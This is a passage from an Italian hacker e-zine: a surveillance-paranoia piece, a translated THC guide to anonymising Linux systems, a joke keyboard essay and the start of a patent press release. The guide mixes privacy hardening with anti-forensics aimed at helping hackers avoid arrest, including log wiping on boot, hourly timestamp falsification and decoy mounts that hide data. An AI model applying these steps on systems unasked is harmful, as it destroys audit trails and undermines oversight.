controllato la presenza del suo cellulare al posto A, ma non risultava presente... 1+1=2. ps: avete notato che ogni ora (o almeno il mio lo fa ogni ora, penso anche i vostri comunque) il cellulare si collega o almeno diciamo che fa un ping per indicare la vostra presenza? Non ci credete? Accendete il cellulare alle 9.00 (per dire un orario a caso) e alle 10.00 mettetelo vicino al vostro stereo ACCESO. 3) Le autostrade? Devo dire qualcosa? Se ci entrate da qualche parte dovete uscire potete starci quanto vi pare, ma prima o poi dovete uscire. La societa' delle autostrade italiane sa in ogni momento quanta gente c'e' e chi c'e'. Se pagaste con i soldi contanti gia' sarebbe difficile sapere chi siete (tranne per il fatto che alcuni caselli, non tutti credo, abbiano delle telecamere che registrano la targa prima del pagamento), ma col telepass sanno ESATTAMENTE chi siete, dove andate, dove uscite e come se non bastasse anche qua riprendono il transito con telecamera. 4) Pay per view. Acquistate un film. Lo guardate. Dormite. E la societa' che vi spara il film a casa sa i vostri gusti cinematografici. 5) Phone banking Le telefonate al proprio sportello bancario sono archiviate insieme alle voci dei dipendenti che vi hanno risposto... 6) Memotel telecom I messaggi registrati vengono tenuti per 15 giorni (dicono loro, sta a voi crederci o meno) in piu' come per i cellulari il codice di accesso viene raramente personalizzato. 7) Telecamere varie Le telecamere negli autogrill, nelle banche, ai supermercati, piazzate sugli edifici agli angoli delle strade... ovunque. Ogni telecamera vi guarda e vi sorride registrando il vostro passaggio. Riassumento, il Grande Fratello sa sempre: 1) dove vi trovate; 2) cosa state facendo/acquistando; 3) chi vi chiama, a che ora, da dove e cosa vi dice; 4) quanti soldi avete in banca; 5) altre informazioni che sicuramente non ci aspettiamo che abbia. E per chiudere definitivamente, se siete veramente paranoici: 1) Liberatevi del cellulare o se non potete quando parlate con qualcuno e non volete che il G.F. (Grande Fratello) vi senta spegnetelo e TOGLIETE LA BATTERIA per la durata della conversazione. 2) Niente bancomat o carte di credito; troppo facile tracciarvi. 3) In autostrada pagate al casellante con soldi in contanti. 4) Niente servizi di segreteria telefonica a casa o al cellulare. 5) Downloading and Uploading di risorse in banca solo allo sportello. 6) Pay per view? No grazie sto cercando di smettere... 7) Indossate sempre (anche in piena estate) maglioni a collo alto tirati su fino al mento, cappelli molto larghi (chesso' uno da cowboy per dire) e occhiali scuri. Questo per evitare che le telecamere in strada vi riprendano anche se date un po' nell'occhio poi vestiti cosi' in pieno agosto :) Un saluto, Death Of Little Dreamer ------------------------[ AN0NiMiZZARE i SiSTEMi UNiX ]----------------------- -----------------------[ Van Hauser (trad. by Blinking) ]--------------------- - 0.1 Introduzione Ho deciso di tradurre questo documento in lingua inglese scritto da van Hauser, THC poiche' offre validi spunti per personalizzare il proprio sistema *nix in modo da garantire la massima privacy e riservatezza; ma non solo, anche perche' non ho ancora trovato nessun documento in lingua italiana che tratti in modo pratico della riservatezza dei dati per end-users. Sono qui illustrati alcuni esempi di come possano essere integrati nel sistema operativo in ottimo modo i pacchetti di crittografia disponibili in rete come PGP, CFS, TCFS, SFS, secure_delete solo per citarne alcuni. La mia non ha la pretesa di essere un "howto secure your linux", ma solo una panoramica delle possibilita' offerte da questo sistema operativo. La traduzione e' da considerarsi libera; ho cercato di interpretare il senso di cio' che lo scrittore voleva esprimere, per ogni suggerimento scrivetemi. Le frasi che iniziano con la scritta "NB" sono delle mie considerazioni o aggiunte personali a quanto menzionato nel documento. Buona lettura! - 1. Utilizzatori Questo guida e' stata scritta per ogni persona umana che vuole mantenere i propri dati e la propria privacy lontani da ogni occhio indiscreto, monitoraggi del traffico di rete e furto/accesso dei computer. Hacker, phreaker, membri di partiti democratici in stati totalitari, persone impegnate nella difesa dei diritti umani, persone con alte cariche potrebbero essere interessate a queste informazioni. La guida e' stata scritta in modo particolare per hackers novelli in modo da non essere facilmente arrestati quando scoperti per la loro curiosita'. - 2. Obbiettivi Gli obbiettivi sono quelli di fornire soluzioni ai seguenti enunciati: a. La soluzione dovrebbe essere semplice e facile b. Tutti i dati degli utenti dovrebbero essere inaccessibili a chiunque eccetto il proprietario dei dati stessi c. Nessuno dovrebbe essere in grado di ricostruire cosa sta succedendo nel sistema - 3. Pre-requisiti E' importante soddisfare le seguenti condizioni per questo progetto: a. Il sistema dovrebbe essere sicuro. Nessun exploit remoto (e nemmeno locale) b. Il system administrator deve essere fidato e intenzionato a tutto questo c. Il sistema operativo che permette tutto cio' e' Unix (nel nostro caso Linux) Si noti che la soluzione presentata non si adatta al 100% con tutti i server. Tuttavia e' (vicino alla) perfetta utilizzazione per gli utenti finali. Per la parte Unix, noi mostriamo la soluzione per Linux perche' e' il sistema Unix piu' facile per i principianti (e non solo aggiungo....) per metterci mano ed amministrarlo. La distribuzione Linux che noi usiamo e' la SuSe Linux Distribution 6.0. La Debian e' migliore, ma piu' complicata per i principianti; ed a me non piace RedHat (NB: o RedAss, come dice Cavallo) per la sua mancanza di sicurezza. Dovremmo inoltre conoscere abbastanza di Unix (cosa e' portmap, mount, rc2.d, ecc.) prima di provare a capire questa guida. Non e' un Linux-Howto! - 4. Dati degli utenti 4.1 Dati 'sensibili' degli utenti Cosa sono i dati sensibili degli utenti? Ogni dato di un account di un utente. Questo include: - utmp/wtmp/lastlog (tempo di login e durata piu' host di login) - history files (quali comandi hai digitato durante la tua sessione) - email - files temporanei di applicazioni come emailer, browser, ecc. - applicazioni e le loro configurazioni - i tuoi dati personali (documenti, foto :P, dati confidenziali) - time stamps sui tuoi dati (quando i file hanno avuto accessi o modifiche) - su sistemi multiutente: cosa gli utenti stanno attualmente facendo. Questo include la lista dei processi e le connessioni di rete cosi' come utmp (che e' gia' incluso in un'altra categoria, cioe' quella di rendere proc piu' restrittivo). Stiamo tentando di proteggere tutte queste informazioni. Si noti che tmp/wtmp/lastlog e le email (mqueue/mail/fax/lpd) sono gestiti nella sezione "Dati di sistema". Tutti gli account degli utenti possono essere visti da /etc/passwd, cosi' potresti voler aggiungere qualche (o molti) account fasulli, insieme alle loro directory home e dati criptati. 4.2 Proteggere la directory /home La cosa piu' importante nella protezione dei dati degli utenti e' la protezione della directory /home. Ogni directory home deve essere criptata con un metodo robusto, cosi' anche in caso di accesso fisico al sistema (del tipo se vi portano via l'hdd) i dati non possono essere ugualmente ottenuti. Correntemente conosco solo un software che provvede a fornire una soluzione a questa richiesta: CFS - il filesystem crittografato. Ci sono anche altri soluzioni crittografiche disponibili: TCFS, SFS e il loop filesystem con supporto per la crittografia. Questi sono piu' veloci, ma hanno lo svantaggio che devi ricompilare il tuo kernel con patch per questi tool. Cosi', per scelta di semplicita', scelgo CFS qui. (Gli indirizzi di tutti questi programmi si trovano alla fine). Per abilitare CFS dobbiamo mettere queste sei linee in uno script rc2.d: portmap rpc.mountd -P 894 # mountd should bind to port 894 cfsd 895 # cfsd should bind to port 895 rm -rf /tmp/.tmp mkdir -p -m 700 /tmp/.tmp mount -o port=895,intr localhost:/tmp/.tmp /home In aggiunta, dobbiamo mettere questa linea in /etc/exports: /tmp/.tmp localhost Ok, questo fa partire il sunrpc con il mountdaemon che sono necessari per far partire ed usare CFS. Ora abbiamo bisogno di verificare le seguenti cose: se un utente fa il login ed il sistema ha verificato che e' gia' loggato all'interno deve decidere in quali casi decriptare la directory home dell'utente. Questo sembrerebbe difficle, ma e' facile: la directory /home/user dell'utente user non esiste (ed anche se esistesse le nove linee seguenti del comando mount la farebbero non esistente), cosi' la variabile HOME dell'utente e' settata su '/' (senza apici) della directory di root. Allora la sua login shell che viene avviata cerchera' il proprio script di partenza. Ed e' li dove noi metteremo il nostro zampino. Abbiamo creato (questo esempio e' per la shell bash) il file ./profile con il seguente contenuto cattach /crypt/$USER $USER || exit 0 export HOME=/home/$USER cd $HOME if test -f $HOME/.profile; then . $HOME/.profile fi Quanto un utente fa il login la prima volta, lo script viene eseguito. L'utente deve quindi inserire la password per la sua directory criptata e dopo di questo la variabile HOME corretta e' settata e il normale profilo di login viene caricato ed inizializzato. Se un utente non conosce la password per la sua directory criptata, resta chiuso fuori dal sistema. Ma noi come possiamo rimuovere la directory home decryptandola dopo il logout? Questo script dovrebbe essere intelligente, perche' un utente potrebbe essersi loggato diverse volte, e solo una volta deve essere rimossa quando l'ultima login di shell esce. Grazie a Dio, ache questo e' facile; noi creiamo uno script in /home/user/.bash_logout . # se il numero delle shell dell'utente e' maggiore di 3 allora questa e' # l'ultima hells=`ps xu | grep -- "$USER .* S .* -[^ ]*sh" | wc -l` test $shells -lt 3 || exit 0 export HOME=/ cd / cdetach $USER E' tutto. Da ora in poi, le directory home degli utenti sono sicure. Si noti che un utente ora non puo' piu' fare il login, avviare un processo in background e fare il logout perche' la sua directory home verrebbe rimossa. Lo script .bash_logout completo incluso controlla il file $HOME/.keep e nel caso in cui esista non rimuove la directory $HOME. Per login in rete dovresti tenere in mente che i login non dovrebbero essere fatti con rlogin, telnet, ecc perche' inviano tutto il traffico (incluse le password) in testo semplice attraverso la rete. Dovresti usare un tool che codifica il proprio traffico cone SSLTelnet oppure SSH (per SSH devi settare "UseLogin yes" nel file /etc/sshd_config). Troverai tutti questi script con correzione degli errori, creazione degli utenti, script d'arresto e file di configurazione della sezione "Esempi di configurazione". Si noti che abbiamo lanciato i demoni nella sezione che puo' essere contattata da remoto; se tu non lo vuoi (perche' non ci sono utenti esterni che necessitano di mountare i loro dati cifrati sulla loro macchina) dovresti firewallare queste porte. Guarda nelle pagine del manuale ("man ipchains" oppure "man ipfwadm"). 4.3 Tracciabilita' dell'attivita' degli utenti Tramite i timestamp e' facile vedere chi e' loggato sul sistema e cosa sta facendo. Anche se tutti i tuoi dati sono criptati, controllando l'ultima data di accesso ai tuoi files, qualcuno potrebbe controllare quando ti sei loggato l'ultima volta, per quanto tempo e se eri idle o stavi facendo molte cose. Esempio: il primo accesso per un file criptato nella tua directory home puo' essere visto con: ls -altur /crypt/$USER | head -1 # mostra il file di logout con alcune ls -altu /crypt/$USER | more # cose che troverai al momento del login allora hai anche la durata della sessione. Controllando i cambiamenti/modifiche e il tempo di accesso di questi files criptati con i loro timestamp qualcuno puo' vedere quanto tu stavi lavorando, e trarre conclusioni (ad esempio molti files suddivisi in un ramo a tre livelli con directory che sono stati modificate, probabilmente appertengono ad un browser - cosi' tu stavi navigando...) Questo ora rendera' possibile controllare quali comandi sono stati eseguiti: diciamo che il login e' stato effettuato 22 ore fa, quindi lancieremo: find / -type f -atime 0 -ls # mostra i file che hanno avuto accessi find / -type f -mtime 0 -ls # mostra i file che hanno avuto modifiche (questo puo' essere fatto anche con le directory). Ora controlliamo l'output con l'elenco dei tempi esatti, e analizziamo cosa si puo' trovare. Per esempio e' stato usato il client telnet; e' cosi' probabile che l'utente si sia connesso ad un altro sistema. Ora puoi immaginare cosa sia possibile fare... Proteggerti da tutto cio' e' molto semplice: crea il file /usr/local/bin/touch_them e rendilo eseguibile con i seguenti contenuti find /crypt /tmp /etc /var/spool 2> /dev/null | xargs -n 250 touch Dopodiche inserisci la seguente linea in /etc/crontab 50 * * * * root /usr/local/bin/touch_them e per finire cambia la 4a colonna di tutte le linee in /etc/fstab che hanno la scritta "ext2" nella loro terza colonna (del tipo di filesystem). defaults (o ogni qualsiasi altra cosa) dovrebbe diventare defaults,noatime (il vecchio valore viene mantenuto e noatime aggiunto) esempio: /dev/hda1 / ext2 defaults 1 1 diventa /dev/hda1 / ext2 defaults,noatime 1 1 Cosa abbiamo fatto? Il crontab con lo script aggiorna gli atime, mtime e ctime delle directori speciali (specialmente quelle che potrebbero contenere dati di utenti) all'ora corrente ogni ora. 4.4 Proteggere /var/spool/* /var/spool/mail Ora usiamo uno stratagemma: come possiamo proteggere la nuova posta per un utente ad occhi indiscreti? Non puo' essere spedita direttamente nella directory home dell'utente come qmail vorrebbe fare, perche' e' criptata. La soluzione piu' semplice da utilizzare e' quella di usare pgp per criptare le tue email in uscita e di dire ai tuoi amici che anche loro dovrebbero criptare tutte le loro email per te. Tuttavia questo non e' soddisfacente. Qualcuno potrebbe ancora vedere chi ha spedito all'user l'email; la sola possibilita' di nasconderlo, e' quella di usare un anonymous remailer. Non e' una grande soluzione, percio' questo punto resta aperto (vedi sezione 10.2: Altri pensieri) /var/spool/{mqueue|fax|lpd} : Tutto quello che possiamo fare e' tentare di fare il flush di quelli in lista nella fase di shutdown del sistema. Devi aver deciso se eliminare i files che rimangono in modo sicuro, oppure lasciarli dove sono; oppure se programmare uno script che fa qualcosa con i dati (come compattarli e criptarli con pgp, facendo le operazioni inverse quando il sistema e' riavviato). Potresti anche creare una propria partizione criptata che contenga /var, ma questo richiederebbe qualcuno alla console al momendo del boot ogni volta. - 5. Dati di sistema 5.1 Dati di sistema "sensibili" Cosa sono i dati di sistema sensibili? Ogni cosa che permette di trarre conclusioni sui dati in ingresso e uscita, files di configurazione, log, avvii e spegnimenti del sistema. Questo include: - utmp/wtmp/lastlog (avvio, riavvio, ora dello shutdown e tempi degli utenti) - script per le connessioni dial-up ppp - configurazioni di sendmail e tcp wrapper - dati dei cache proxy (come squid web/ftp proxy) - messaggi del syslog - dati in /var/spool/* {mqueue|fax|lpd|mail} - files temporanei da demoni (daemons) - timestamp sui dati (quando ci sono stati accessi/modifiche) 5.2 Tracciabilita' dell'attivita' di sistema Si puo' tracciare l'attivita' del sistema semplicemente controllando i files temporanei creati da demoni ed applicazioni. Alcuni si trovano in /tmp, mentre per le applicazioni di root solitamente (dovrebbero) si trovano in /var/run. Ne parleremo nella sezione 5.3 "Log". Tutto quello che per ora devi fare e' questo, e devi farlo una volta sola. cd /var mv run log ln -s log/run run Questi comandi spostano la directory /var/run in /var/log/run e creano un link simbolico nella directory iniziale cosi' le applicazioni possono ancora trovare i loro files. 5.3 Log - importanti e pericolosi Loggare e' importante per determinare i problemi come errori di configurazione. Loggare e' pericoloso perche' un curiosone (NB: preferisco chiamarlo cosi'!) potrebbe vedere dati importanti nei file di log, come i gli orari di login e logout di un utente, oppure se ha eseguito "su" oppure altri comandi, etc. Noi cercheremo di trovare un compromesso tra questi due. La nostra soluzione: scrivere tutti i files di log in una directory speciale. La directory e' un RAM disk, in modo tale che i dati vengono persi dopo lo shutdown del sistema. Assicurati che il syslogd [/etc/syslog.conf] ed altri demoni (esempio httpd [apache]) scrivano solo nella nostra directory speciale o nella console di sistema. /var/log dovrebbe essere usato come la directory speciale. Ora inseriamo i seguenti comandi in /sbin/init.d/boot.local umask 027 mke2fs -m0 /dev/ram0 1> /dev/null 2>&1 rm -rf /var/log/* 2> /dev/null mount -t ext2 /dev/ram0 /var/log chmod 751 /var/log cd /var/log mkdir -m 775 run chgrp uucp run for i in `grep /var/log /etc/syslog.conf|grep -v '^#'| \ awk '{print $2}'|sed 's/^-//'` do > $i ; done umask 007 # potrebbe essere anche usato 002 for i in run/utmp wtmp lastlog do > $i ; chgrp tty $i ; done cd / kill -HUP `pidof syslogd` 2> /dev/null Dopo il tuo prossimo reboot il sistema si comportera' come descritto sopra. A qualcuno potrebbe non piacere l'idea di non avere nessun log dopo il reboot, in questo modo non si puo' tracciare un intruso o trovare dai tuoi log che cosa ha fatto crashare il tuo pc. Ad ogni modo puoi sempre comprimere e criptare i files con pgp prima che lo shutdown sia completato (ma i dati verrebbero persi comunque in caso di crash); oppure potresti anche usare ssyslog o syslog-ng, sistemi di log speciali con supporto per la crittografia e scrivere i dati che veramente vuoi tenere in (e' solo un esempio) /var/slog. Puoi anche creare una intera partizione criptata /var, ma questo richiederebbe qualcuno alla console di sistema durante il boot, ogni volta. 5.4 Proteggere la configurazione di sistema Qui ci vuole un po di ingegno, l'obbiettivo e' facile da raggiugere, ma ad un costo: se noi creiamo un account con uid 0 che ha la directory home in /home ed e' da questo momento protetta dalla configurazione di CFS, dovrai essere alla console ad ogni reboot. Questo non e' comodo per i sistemi server che necessitano di essere amministrati e riavviati da remoto. Quindi questa soluzione e' adatta solo per utenti finali di pc. Crea un account con uid settato a 0 (esempio, con login name "admin"), puoi usare lo script create_user dalla sezione 9. Inserisci la configurazione dei dati sensibili in questa directory (script per il dialup ppp, file di sendmail sendmail.cf, squid con la loro directory di cache settata ad una sottodirectory di "admin", etc.). Ora crea un piccolo script di shell che avvia questi demoni con una linea di comando con l'opzione di usare i files di configurazione nella directory home dell'utente chiamato "admin". Il sistema e' quindi sicuro dall'estrapolazione di informazioni sensibili dai files di configurazione, ma con un prezzo: devi loggarti dopo ogni reboot come utente "admin", inserire la password per CFS e lanciare lo script. 5.5 Memoria dei computers e interfaccia /proc Assicurare la privacy nei sistemi multiutente per gli utenti on-line richiede da parte dell'amministratore di nascondere la lista dei processi degli utenti; cosa che un utente potrebbe normalmente vedere quando esegue comandi come "who" oppure "ps". Per proteggere la lista dei processi di un utente, puoi usare la patch per il kernel secure-linux di Solar Designer. Per proteggere utmp/wtmp/lastlog assicurati che questi files siano leggibili solo dalla root e gruppi tty; da questo momento un utente normale non puo' accedere a questi dati (questo viene fatto tramite lo script di esempio boot.local). Ora manca solo un problema cioe' quello che con della RAM normale una organizzazione economicamente dotata puo' salvare i contenuti della memoria anche dopo lo spegnimento del sistema. Con le moderne SDRAM in cui i dati restano nella ram permanentemente fino a quando dei nuovi dati vengono scritti, e' ancora peggio. Per questo ho introdotto un piccolo tool nel "secure_delete" package 2.1 chiamato "smem" che cerca di pulire la memoria; questo programma dovrebbe essere lanciato dallo shutdown, come e' stato fatto nell'esempio 6.4 - 6. Dati cancellati e swap 6.1 Come cancellare i files in modo sicuro Quando un file viene cancellato, solo l'inode viene cancellato mentre i dati contenuti NON sono eliminati e possono essere raccolti con dei tool come "dd" oppure manipulate_data dei THC. Peter Gutmann scrisse il libro "Secure Deletetion of Data from Magnetic and Solid-State Memory" presentato nel 1996 al sesto Usenix Security Symphosium; e' il miglior libro che illustra come eliminare e ripulire i dati in modo che sia difficile recuperarli anche con il microsopio elettronico. In giro ci sono quattro tool che usano le tecniche qui descritte per eliminare i dati in modo sicuro: due chiamati "wipe", uno chiamato "srm" dal pacchetto secure_delete dei THC e "shred" che e' incluso nel pacchetto fileutil GNU. Quello dei THC dovrebbe essere il migliore come progetto, caratteristiche e sicurezza ed ha anche tutte le opzioni in linea di comando (quelle base e avanzate) per una maggiore velocita'. Per usare uno qualsiasi di questi tool per cancellare file, semplicemente si puo' settare un alias in /etc/profile alias rm=srm # oppure wipe oppure shred oppure, ancora meglio, spostare /bin/rm in /bin/rm.orig e copiare il programma per la cancellazione sicura in /bin/rm. Questo assicura che tutti i dati cancellati tramite il comando rm vengano eliminati in modo sicuro. Se non e' possibile installare uno qualsiasi di questi pacchetti (per qualsiasi ragione) si puo' comunque settare il wipe flag nel filesystem ext2 sui file che si vuole pulire prima di rimuoverli con rm. E' all'incirca lo stesso, ma non e' cosi' sicuro come il wipe menzionato precedentemente; chattr +s nomedeifile 6.2 Come pulire (wipe) lo spazio libero dei dischi La maggior parte delle applicazioni (come gli editor nei programmi di posta) scrivono dei file temporanei e tu non ne sai niente - molte volte non ti viene neanche chiesto. Poiche' questi files non vengono eliminati in modo sicuro potrebbero essere recuperati da un intruso che potrebbe prendere tutte le tue email senza che tu nemmeno lo sappia. Cio' non e' buona cosa. La soluzione: usare un programma che pulisca tutto lo spazio libero dalle partizioni dei dischi. Il solo disponibile e' quello dei THC secure_delete (NB: non ne sono sicuro, ma nell'articolo non ne vengono citati altri). Puoi mettere il comando "sfill" (e' cosi' che si chiama) nel crontab cosi' viene lanciato regolarmente anche se questo potrebbe creare problemi quando devono essere lanciate applicazioni piu' importanti; quindi lo si puo' far lanciare almeno quando il sistema fa lo shut down. Metti questo nella sezione "stop" di uno degli script in rc2.d sfill --llf /tmp 2> /dev/null sfill --llf /var/spool 2> /dev/null Si noti che e' anche una buona idea creare una nuova partizione da usare per /tmp e mettere un link simbolico da /usr/tmp e /var/tmp verso /tmp. In questo modo e' piu' facile controllare ed eliminare. Ancora, se non puo installare il pacchetto secure_delete per qualche motivo, puoi ancora usare questa soluzione (anche se e' lenta e non cosi' sicura): dd if=/dev/zero of=/tmp/cleanup sync rm /tmp/cleanup 6.3 Come gestire i dati di swap Cancellazione sicura dei files e pulizia dello spazio libero delle partizioni: che cosa manca? Al giorno d'oggi i MB degli hard disk sono piu' economici delle RAM, ed e' per questo che gli swap sono utilizzati per espandere la RAM disponibile; nella realta' lo swap e' un file o una partizione nel tuo hardisk. Anche qui c'e' solo un tool che aiuta, "sswap" dal pacchetto secure_delete (NB: vale lo stesso discorso di prima, non ho potuto verificare). Metti questa linea dopo la linea "swapoff" in /sbin/init.d/halt sswap -l /dev/XXXX # XXXX e' il device per il tuo swap. # controlla quale e' in /etc/fstab 6.4 Come gestire la RAM Nella sezione 5.1 ho scritto circa le informazioni sensibili nella RAM, la memoria veloce dei computer; essa puo' contenere informazioni molto riservate come le email che hai scritto prima di codificarle con pgp, password, ogni cosa. Per assicurarsi che la memoria venga pulita, usa l'utility sms; dovrebbe essere lanciata come qui nella parte stop di uno degli script in rc2.d (come gia' menzionato precedentemente), dopo il wipe del file /tmp. smem -ll 6.5 Dati temporanei Dopo che hai reso sicuro, anonimizzato, privatizzato il tuo sistema ogni cosa e' pronta - o hai dimenticato qualcosa? Ricordati cosa abbiamo detto nella sezione 6.1, i dati temporanei sono scritti da qualche parte e a volte non lo sai. Se sei sfortunato, tutto quello che abbiamo fatto e' inutile; dobbiamo quindi assicurarci che non ci siano file temporanei sui device e che non possano nemmeno essere recuperati. Ora che abbiamo gia' trattato di /var/log, /var/run e la posta in uscita (/var/spool/...) ed abbiamo ripulito tutto lo spazio libero nei dischi, dobbiamo ripolire anche i dati temporanei. Metti questa linea nella sezione "stop" di uno degli script in rc2.d (prima di sfill dalla ezione 6.3): ( cd /tmp ; ls -A | xargs -n 250 srm -r ; ) Dovrebbe essere anche creata una directory $USER/tmp per tutti gli utenti che hanno la protezione di CFS e sono all'interno di /home; deve quindi anche essere settata la variabile TMPDIR in modo oppurtuno per ogni utente su questa directory (NB: ad esempio se l'utente si chiama abc avra'la directory tmp in /home/abc/tmp e la variabile TMPDIR sara' settata a /home/abc/tmp). Vedere la sezione 9 per tutti questi script... - 7. Connessioni Questa e' una sezione molto specifica del documento. Ho scritto alcuni modi su come si possa proteggere una parte dei dati che vengono trasferiti tramite internet. I prerequisiti base sono i seguenti: che tu abbia un POP3 e un SMPT (mail relayer) esterni dove prendi e spedisci le tue email. Quando vai in irc, preferisci che il tuo vero hostname non venga visualizzato nei canali. Il tuo mail server esterno dovrebbe essere in un altro stato, perche' se qualche agenzia ufficiale ha motivo di pensare che tu stia facendo qualcosa di illegale (e sono sicuro che tu non lo farai) e' piu' difficile garantire una ricerca. E' anche piu' difficile perche' le compagnie o gli individui che cercano i tuoi dati avrebbero bisogno di investire piu' tempo, lavoro e soldi per averli. Puoi instradare la tua connessione SMPT e POP3 attraverso ssh al mail server esterno. Per il POP3 e' semplice, ma per l'SMPT e' un po piu' difficoltoso. Solo per esempio, anche il traffico irc potrebbe essere instradato con ssh, ma le dcc non funzioneranno (in questo modo non funziona, mentre l'altro sarebbe quello di rivelare il tuo indirizzo ip al mittente e i dati non verrebbero codificati da nessuna delle due parti). Si noti che e' anche possibile utilizzare redirector e proxy (NB: bounce, wingate, ecc) per effettuare altri redirector per altri protocolli (www, irc, ftp proxy, ecc). E' tutto. Tutto il traffico via email (e come puoi vedere di seguito anche quello irc) viene codificato tra te e il tuo mail/proxy server. sendmail.cf (parti importanti): DSsmtp:[127.0.0.1] DjTHE_DOMAIN_NAME_OF_YOUR_EMAIL DMTHE_DOMAIN_NAME_OF_YOUR_EMAIL - Msmtp, P=[IPC], F=mDFMuX, S=11/31, R=21, E=\r\n, L=990, + Msmtp, P=[IPC], F=mDFMuXk, S=11/31, R=21, E=\r\n, L=990, (add the "k" switch to the smtp option config line) ~user/.fetchmailrc: poll localhost protocol POP3: user USER_REMOTE with pass PASSWORD_REMOTE is USER_LOCAL here mda "/usr/sbin/sendmail -oem USER_LOCAL" (usa i corrispondenti USER_* e PASSWORD qui) La linea di comando per ssh che instrada il traffico per il POP3, SMTP ed irc: ssh -a -f -x -L 110:localhost:110 -L 6667:irc.server.com:6667 -L \ 25:localhost:25 your_mail_server.com E' tutto, non ti diro' niente di piu'. Usa il cervello ;) - 8. Nascondere i settaggi per la privacy 8.1 Mount e' tuo amico Dai uno sguardo ai seguenti comandi: # ls -l /home total 3 drwxr-x--- 1 root root 1024 Mar 28 14:53 admin drwxr-x--- 1 vh thc 1024 Mar 28 16:22 vh drwxr-x--- 1 user users 1024 Mar 28 11:22 user # mount -t ext2 /dev/hda11 /home # oppure un ramdisk, non fa importanza # ls -l /home total 0 # : oops, dove sono le directory home ? # umount /home # ls -al /home total 3 drwxr-x--- 1 root root 1024 Mar 28 14:53 admin drwxr-x--- 1 vh thc 1024 Mar 28 16:22 vh drwxr-x--- 1 user users 1024 Mar 28 11:22 user # : ah si, ci sono ancora Questa e' un buon modo per nascondere i tuoi dati criptati e i tuoi eseguibili. Devi solo mettere i tuoi files in, per esempio, /usr/local/bin e /usr/local/crypt e fare il mount di un filesystem decoy; se quindi hai un processo avviato nei tuoi script di boot che apre un file sul filesysyem decoy, non puo' essere effettuato l'unmount fino a quando il processo non e' terminato. In questo modo, e' molto piu' difficile per qualcuno scovare i tuoi dati! 8.2 Media rimovibili Una possibilita' migliore sarebbe quella di mettere tutti i tuoi dati sensibili su un supporto rimuovibile, fare il mount e lanciarlo dallo script d'avvio che attiva tutte le cose per la privacy. In questo modo hai fatto un altro passo per rendere piu' difficile a qualcuno conoscere cosa stia succedendo. 8.3 ??? Altre idee? Pensaci! (e magari spediscimele ;-) - 9. Script di configurazione ed esempi NB: preleva il file anonymous-unix-0.7.tar.gz dal sito dei THC (21.613 bytes) - 10. Commenti finali 10.1 Dove prendere i programmi menzionati nel testo _Crypto Filesystems _ CFS (Cryptographic File System) http://www.replay.com TCFS (Transparent CFS) ftp://mikonos.dia.unisa.it/pub/tcfs/ SFS (Stegano File System) http://www.linux-security.org/sfs Crypto Loopback Filesystem ftp://ftp.csua.berkeley.edu/pub/cypherpunks/filesystems/linux/ _Tools_ THC's secure_delete package http://www.infowar.co.uk/thc secure-linux kernel patch http://www.false.com/security syslog-ng http://www.balabit.hu/products/syslog-ng.htm ssylog http://www.core-sdi.com/ssyslog 10.2 Considerazioni aggiuntive - Saluti - Come contattare il gruppo dei thc NB: Sono tutte informazioni che non ho inserito o che potrei non aver interpretato correttamente si possono trovare nella forma completa ed in inglese nel sito: http://r3wt.base.org http://thc.pimmel.com http://www.infowar.co.uk/thc - 100 Conclusione Desidero in ultimo fare alcuni ringraziamenti e saluti a (in ordine casuale): tutta la crew di s0ftpj, HarLoK, 3p41R0x, crl, Alphard, Nobody88, DanteAlig, ulntwh99, area[c], THC. Sono apprezzati suggerimenti, critiche, saluti, aggiunte. Blinking ---------------[ C0ME C0STRUiRSi LA TASTiERA DEL TECN0SCiAMAN0 ]-------------- -----------------------------------[ pIGpEN ]--------------------------------- Ragazzi... mi sbatteranno in un'ospedale psichiatrico :))) No no speriamo bene... il problema e' che girare nella bay area, ascoltare i dead 24h su 24h (notte inclusa) porta a questi risultati... Oggi vi descrivero' la mia tastiera nata da una leggenda in chat da menti malsane... In pratica la tastiera fa da gate tra voi e l'infosfera... questo vuol dire che come dice Barlow: il vostro spirito lascia il corpo... Esistono tuttavia vari modi per avere un trip infosferico... - il primo e' quello di usare una tastiera normale - il secondo e' quello di usare una tastiera nera - il terzo e' quello di usare una tastiera tecnosciamaica Io gli ho provati tutti e 3 :))) Ma il terzo e' uno sballo con effetto a campana... Dio Bit mi perdoni, ma i lettori devono sapere :))) Scusate, ma sto pisciando dalle risate per quello che sto per dirvi... Ok descriviamo la tastiera: In sostanza si tratta di una vecchia tastiera con almeno 5 anni di fottuto utilizzo (sisi devono essere 5 anni intensivi... altrimenti la magia non si compiera' nella modalita' tecnosciamaica) dovete procurarvi del nastro adesivo di quello non trasparente colorato e ricoprire tutti i tasti alfanumerici in nero e il resto in blu o grigio o tutti e 2. Mi sembra chiaro che dovete conoscere i tasti a memoria cosa che con il tempo dovrebbe essere venuta spontanea... Arriviamo pero' al pezzo forte... il tasto ESC. Si ragazzi questo e' quello che deve rimanere normale perche' e' l'unica chiave di ritorno al mondo mortale... questo deve essere diverso da tutti gli altri e quindi senza nastro adesivo... Esiste l'alternativa di programmare una sequenza di tasti per il "ritorno a casa" modificando l'inittab con dei tasti per il shutdown (di default trovate il Control - Alt - Canc), ma potete mettere qualsiasi tasto o seq. di tasti che in questo caso dovra' essere IN ROSSO. Inutile dire che Dio Bit sara' dalla vostra con una cosa del genere... attualmente lavoro su tre computer: - uno con la tastiera nera americana pagata 15.000 (una figata per le operazioni di routine e per la programmazione) - una tastiera bianca italiana collegata ad un picchio con Win... che non uso solo io... (l'unica cosa di figo che ha e' sbatterla al contrario contro la scrivania e vedere che cosa esce) - la tastiera tecnosciamaica che uso solo io e che in un momento di overdose infosferica mi ha lasciato il nastro adesivo attaccato sulle dita... a volte mi sento Jimi Hendrix quando la uso! PROVATELA vi prego! Soprattutto quando siete su Internet, state chattando, configurando qualcosa o altro... E ora vi lascio riflettere... Dio Bit sia con voi... Ringrazio per l'idea condivisa B.B. che ovviamente vuole rimanere anonimo... x non finire come me :)) jerry garcia che mi parla dall'al di la' e la cocacola che mi permette di vedere draghi ogni mattina... E ora vi lascio perche' il magnetismo dell'infosfera mi sta chiamando arrivoooo :)) evvai con i grateful dead a manetta... yeaaaa bauz pIGpEN techn0shaman ----------------------------[ EMERGENZA BREVETTi ]---------------------------- --------------------------------[ C. Gubitosa ]------------------------------- PEACELINK NEWS 22 GIUGNO 1999 COMUNICATO STAMPA CON PREGHIERA DI MASSIMA DIFFUSIONE IL 24 GIUGNO PROSSIMO IL PARLAMENTO EUROPEO DISCUTERA' L'APPROVAZIONE DI UNA 